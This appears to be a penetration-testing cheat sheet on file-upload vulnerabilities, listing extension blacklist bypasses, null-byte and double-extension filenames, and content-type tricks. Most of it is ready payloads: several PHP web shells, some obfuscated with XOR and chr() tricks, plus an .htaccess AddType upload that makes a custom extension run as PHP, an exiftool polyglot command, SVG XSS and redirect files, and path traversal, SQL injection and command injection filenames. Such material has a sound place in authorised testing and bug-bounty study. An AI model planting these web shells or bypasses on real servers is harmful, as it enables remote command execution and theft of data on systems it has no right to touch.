File-Upload

File extension

# extension blacklisted:
PHP: .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc
ASP: .asp, .aspx, .cer, .asa
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion: .cfm, .cfml, .cfc, .dbm
Using random capitalization: .pHp, .pHP5, .PhAr
pht,phpt,phtml,php3,php4,php5,php6,php7,phar,pgif,phtm,phps,shtml,phar,pgif,inc
# extension whitelisted:
file.jpg.php
file.php.jpg
file.php.blah123jpg
file.php%00.jpg
file.php\\x00.jpg
file.php%00
file.php%20
file.php%0d%0a.jpg
file.php.....
file.php/
file.php.\\
file.
.html

Upload asp file using .cer & .asa extension (IIS — Windows)
Upload .eml file when content-type = text/HTML

Payloads

<?php system($_GET["cmd"]);?> # ?cmd= (ex: ?cmd=ls -la")
<?=`$_GET[0]`?>               # ?0=command

<?=`$_POST[0]`?>          
# Usage : curl -X POST http://target.com/path/to/shell.php -d "0=command"

<?=`{$_REQUEST['_']}`?>      
# Usage: http://target.com/path/to/shell.php?_=command OR curl -X POST http://target.com/path/to/shell.php -d "_=command" '

<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>
# Usage : http://target.com/path/to/shell.php?0=command

<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>
# Usage : http://target.com/path/to/shell.php?_=function&__=argument http://target.com/path/to/shell.php?_=system&__=ls

Content type

- Preserve name, but change content-type
Content-Type: image/jpeg, image/gif, image/png

Content length

# Small bad code:
<?='$_GET[x]'?>

Impact by extension

asp, aspx, php5, php, php3: -->  webshell, rce
svg:                        --> stored xss, ssrf, xxe
gif:                        --> stored xss, ssrf
csv:                        --> csv injection
xml:                        --> xxe 
avi:                        --> lfi, ssrf
html, js:                   --> html injection, xss, open redirect
png, jpeg:                  --> pixel flood attack dos
zip:                        --> rce via lfi, dos
pdf, pptx:                  --> ssrf, blind xxe

File name

Path traversal ../../etc/passwd/logo.png ../../../logo.png
SQLi 'sleep(10).jpg sleep(10)-- -.jpg
Command injection ; sleep 10;
XSS <svg onload=alert(document.comain)>.svg

Other Test Cases

Image-Tragic SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance Image Magic which is an image processing library is vulnerable to SSRF and RCE vulnerabilities.

------WebKitFormBoundary0G2tBRqMoRVtGqfG
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .l33t
------------------------------------------
then 
------WebKitFormBoundary0G2tBRqMoRVtGqfG
Content-Disposition: form-data; name="avatar"; filename="exploit.l33t"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary0G2tBRqMoRVtGqfG

exiftool.exe -Comment="<?php echo 'START ' . 'Hacked By h0tak88r :)' . ' END'; ?>" download.png -o polyglot.php

EXIF-DATA not Stripped
1. Got to Github ( https://github.com/ianare/exif-samples/tree/master/jpg)\
2. There are lot of images having resolutions (i.e 1280 * 720 ) , and also whith different MB’s .\
3. Go to Upload option on the website\
4. Upload the image\
5. see the path of uploaded image ( Either by right click on image then copy image address OR right click, inspect the image, the URL will come in the inspect , edit it as html )
6. open it (http://exif.regex.info/exif.cgi)
7. See whether is that still showing exif data , if it is then Report it. Reports (Hackerone)

File Upload Exploitation

SVG file To XSS

	<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
	<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
	<script type="text/javascript">
	alert("h0tak88r XSS");
	</script>
	</svg>

Open Redirect when uploading svg files

    <code>
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <svg
    onload="window.location='<http://www.google.com>'"
    xmlns="<http://www.w3.org/2000/svg>">
    </svg>
    </code>

Top Upload reports from HackerOne:

PreviousContact us NextInviting Feature

Last updated 1 year ago

Was this helpful?